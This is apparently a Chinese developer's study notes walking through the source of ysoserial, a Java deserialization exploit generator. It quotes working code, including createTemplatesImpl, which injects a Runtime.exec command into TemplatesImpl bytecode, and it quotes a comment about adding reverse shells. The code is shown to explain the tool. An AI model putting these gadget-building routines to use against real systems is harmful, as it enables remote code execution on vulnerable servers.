IAST后端基本写的差不多了,所以为了写前端,最近正在学习electron,想先拿个东西练练手,于是打算为ysoserial做一个前端界面同时加一些自己的特性,那么既然要二开必然要学习原项目,那么顺手写个文章方便以后复习。
代码结构
ysorerial的代码结构如下,包括这三个块:
exploit、payloads、secmgr
下面来简单介绍一下每个块的具体用途。
exploit包
这个包内的内容主要用于对不同的目标进行实际的攻击。
payloads包
annnotation包
这个包内主要包含了一些注解相关的信息,主要用力标识作者之类的提示信息。
Authors注解
这个文件定义了一个注解,其中包含了一些作者信息,是用来标记gadgate的作者的,没什么特别好说的。
Dependencies注解
检索依赖信息的注解。
PayloadTest注解
用来标记gadgate是否需要被测试,是否测试的时候会引发什么异常情况之类的东西,是用来测试gadgate的。
Util包
Util模块是一个工具模块,里面包含了像类文件操作,反射操作等的小工具,为yso中大量使用的重复性操作做一个封装。
ClassFiles类
ClassFiles类的作用是处理类文件,在ysoserial中经常会涉及到类文件读取的操作,因此将其放在了一个单独的类里面方便使用,详细说说其中的各种方法。
classAsFile方法
public static String classAsFile(final Class<?> clazz) { return classAsFile(clazz, true); }
public static String classAsFile(final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; }classAsFile方法有两个重载,总的来说是获取class的路径用的,这个方法在处理反射、类加载器、或者需要根据类名获取类文件路径的场景中非常有用。例如,在自定义类加载器或进行字节码分析时,这种将类名转换为类文件路径的功能是非常基础且重要的。
第二个重载也就是核心所在,通过getEnclosingClass()方法获取传入的是否是内部类,如果不是那么直接返回如com/springkill/clazz这样的字段,如果是那么就返回com/springkill/clazz$1这样的字段,然后根据suffix表示的内容判断在末尾是否加上.class的后缀。
classAsBytes方法
public static byte[] classAsBytes(final Class<?> clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); }}这个方法就是简单的将类转换为byte[]供后面使用。
Gadgets类
总的来说这个类包含了多个方法,主要用于动态创建和操作Java对象。 先说两个内部类:
内部类:StubTransletPayload类
这个内部类用于演示反序列化,继承自AbstractTranslet类,并且实现了transform方法,为后面的操作提供一个看起来无害的”载体”。
内部类:Foo类
定义了序列化版本,没有多余操作,后文将作为辅助类使用。
类中的方法
- 静态代码块区
这块代码初始化了两个系统属性分别允许TemplatesImpl的反序列化和允许RMI远程加载。
createMemoitizedProxy和createProxy方法
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);}
//创建一个自定义sun.reflect.annotation.AnnotationInvocationHandler实例public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);}
//动态创建代理,实现所有给定接口public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } //使用cast进行类型转换 return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));}这两个方法创建了任意代理类,实现了动态创建任意接口的实现并且进行自定义,其中调用的createMemoizedInvocationHandler方法创建一个自定义的sun.reflect.annotation.AnnotationInvocationHandler实例,然后通过createProxy创建一个代理类。
createMap方法
使用给定的key和value创建一个HashMap,因为ysoserial在使用过程中需要频繁地创建HashMap所以将这个操作封装。
- 两个
createTemplatesImpl方法
public static Object createTemplatesImpl ( final String command ) throws Exception { //检查properXalan的值是否被设定为了True,如果是那么就使用if块内的逻辑,否则调用重载方法 if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception { //反射创建实例 final T templates = tplClass.newInstance();
// use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath( StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // 初始化cmd字符串 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; // 插入cmd到静态代码块 clazz.makeClassInitializer().insertAfter(cmd); // 给类设置名字 sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 设置父类 CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
// 转换为字节码数组 final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) });
// required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates;}这个类主要是用来初始化TemplatesImpl的。
第一个createTemplatesImpl方法通过检查properXalan属性的值来判断是使用内置的org.apache.xalan.xsltc.trax.TemplatesImpl还是使用外部 Apache Xalan 项目提供的类(这并不是一个标准的官方系统属性),如果为True那么就使用重载方法传入的类。
那么再来说说重载方法,先实例化了一个templates,然后使用Javassist进行字节码操作,创建一个ClassPool的实例,然后将内部类StubTransletPayload.class和传入的abstTranslet放入其中,然后获取StubTransletPayload的CtClass表示clazz(CtClass是Javassist中表示类的对象),然后将command包装成Runtime执行命令的代码,最后插入到clazz的静态代码块中,最后修改clazz的父类,并将clazz转换为字节码数组。
以上准备工作做完后开始使用反射修改templates的_bytecodes字段,将刚才准备好的clazz的字节码表示和内部类Foo写入其中,然后设置_name字段和_tfactory字段,其中_tfactory字段需要一个TransformerFactoryImpl实例,由传入的transFactory类使用反射来创建。
- makeMap方法
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); // 反射设置size字段为2 Reflections.setFieldValue(s, "size", 2); Class nodeC; try { // 对于Java8之后的HashMap,获取java.util.HashMap$Node nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { // 对于Java8之前的HashMap,获取java.util.HashMap$Entry nodeC = Class.forName("java.util.HashMap$Entry"); } // 获取构造函数并设置setAccessible以供直接访问,创建节点 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); Reflections.setAccessible(nodeCons);
// 创建数组用来存储nodeC节点 Object tbl = Array.newInstance(nodeC, 2); // 将v1和v2作为key、value放入到节点中,然后再插入法哦数组内,最后将数组放到HashMap中 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s;}这个类用来初始化HashMap实例,首先创建一个HashMap然后设置其大小为2,根据JDK版本的不同决定nodeC的类型然后获取对应的构造函数,之后创建一个大小为2的数组将两个节点初始化后放入(节点的key和value都为v1或v2),最后将数组放入HashMap中并返回。
JavaVersion类
这个没什么好说的,就是检测Java版本用的。
PayloadRunner类
这个类看名字就知道是测试payload用的,执行一次序列化和反序列化的过程,看能否达到预期的目的,不过多说。
Reflections类
这个类是将yso中经常使用的反射操作做一个封装来方便使用。
setAccessible方法
这个方法根据使用Java版本的不同为传入的member执行setAccessible操作,来修改Field、Method或Constructor的可访问性。
getField方法
获取指定类及其父类中声明的特定字段。如果在当前类中找不到字段,会递归地在其夫类中查找。
setFieldValue和getFieldValue方法
这两个方法分别用于设置和获取对象的指定字段值。它们使用getField来访问字段,然后调用Field.set或Field.get来修改或检索值。
getFirstCtor方法和newInstance方法
获取构造函数和创建其对应的实例所使用的方法。
createWithoutConstructor方法和createWithConstructor方法
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);}
@SuppressWarnings ( {"unchecked"} )public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); // 生成伪构造函数 Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs);}这两个方法比较有意思,createWithConstructor使用了newConstructorForSerialization方法创建一个伪构造函数,然后实例化并返回。
newConstructorForSerialization方法不需要对应的类有默认构造函数,也不需要真正地执行构造函数就可以直接创建一个对象实例。因为它通过字节码的形式生成了ConstructorAccessor接口。
ObjectPayload接口
这个接口是所有payload的父类,也就是链子具体实现的父类,接口本身没什么,不过它里面还有一个Utils的内部类,可以详细说说这个内部类中的各种方法。
getPayloadClasses方法
该方法用来查找和返回所有实现了ObjectPayload接口的类,没什么特别的。
getPayloadClass方法
通过名字加载具体的链子实现,并且判断是不是ObjectPayload的子类,如果不是则不加载。
makePayloadObject方法
使用getPayloadClass方法获取具体的链子的类,然后将其实例化。
- 两个
releasePayload方法
用来清理Payload。
ReleaseableObjectPayload接口
这个接口是用来和releasePayload方法配合使用,用来清理释放指定Payload的。
secmgr包
这个包里面包含了两个SecurityManager的子类,用来更改安全检查的一些逻辑。
DelegateSecurityManager类
作为一个代理,继承自SecurityManage,指定一个SecurityManager实例进行安全检查用。
前面为了支持JDK10以后的兼容性,将getInCheck、checkTopLevelWindow、checkSystemClipboardAccess、checkAwtEventQueueAccess、checkMemberAccess的具体实现清空。
然后重写了SecurityManager中的很多方法,将其具体处理委托给成员变量securityManager。
ExecCheckingSecurityManager类
这个类同样继承自SecurityManage类,用来检查是否执行命令,并决定是否抛出异常。
Deserializer类
这个类封装了在yso中经常使用的反序列化操作,这段代码和前面的PayloadRunner配合使用来测试payload。
public class Deserializer implements Callable<Object> { private final byte[] bytes;
// 将接受的字节数组存入成员变量 public Deserializer(byte[] bytes) { this.bytes = bytes; }
// 实现call方法,调用时反序列化字节数组 public Object call() throws Exception { return deserialize(bytes); }
// 数组转换为流 public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { final ByteArrayInputStream in = new ByteArrayInputStream(serialized); return deserialize(in); }
// readobject public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { final ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); }
// 入口 public static void main(String[] args) throws ClassNotFoundException, IOException { final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); Object object = deserialize(in); }}Serializer类
这个类封装了yso中经常使用的序列化操作,提供便捷,和上面的Deserializer类很相似,不过多说明。
GeneratePayload类
名字上看就是生成Payload使用的类,简单说下。
mian方法
mian方法接受命令行参数来选择链和命令,然后实例化并序列化后返回,如果失败则返回前面定义好的状态码然后退出程序。
printUsage方法
用来打印yso的使用方法,不过多说了。
Strings类
这个类就是将一些常用的字符串方法进行一个封装,如连接,重复,格式化、比较操作。
Yso是如何运作的?
那么说了上面很多的包以及类,肯定有的小伙伴听完还是一头雾水,下面就用一张图说明下yso具体是怎么运作的吧!
由控制台进行输入,获取gadget和需要执行的命令传入到入口GeneratePayload中,然后由GeneratePayload调用具体的ObjectPayload接口的实现来获取实例,在这个过程中ObjectPayload又去调用了Gadgets、Reflections等进行初始化然后将对象返回给GeneratePayload,最后GeneratePayload调用Serializer的序列化方法将其序列化后返回并打印到控制台。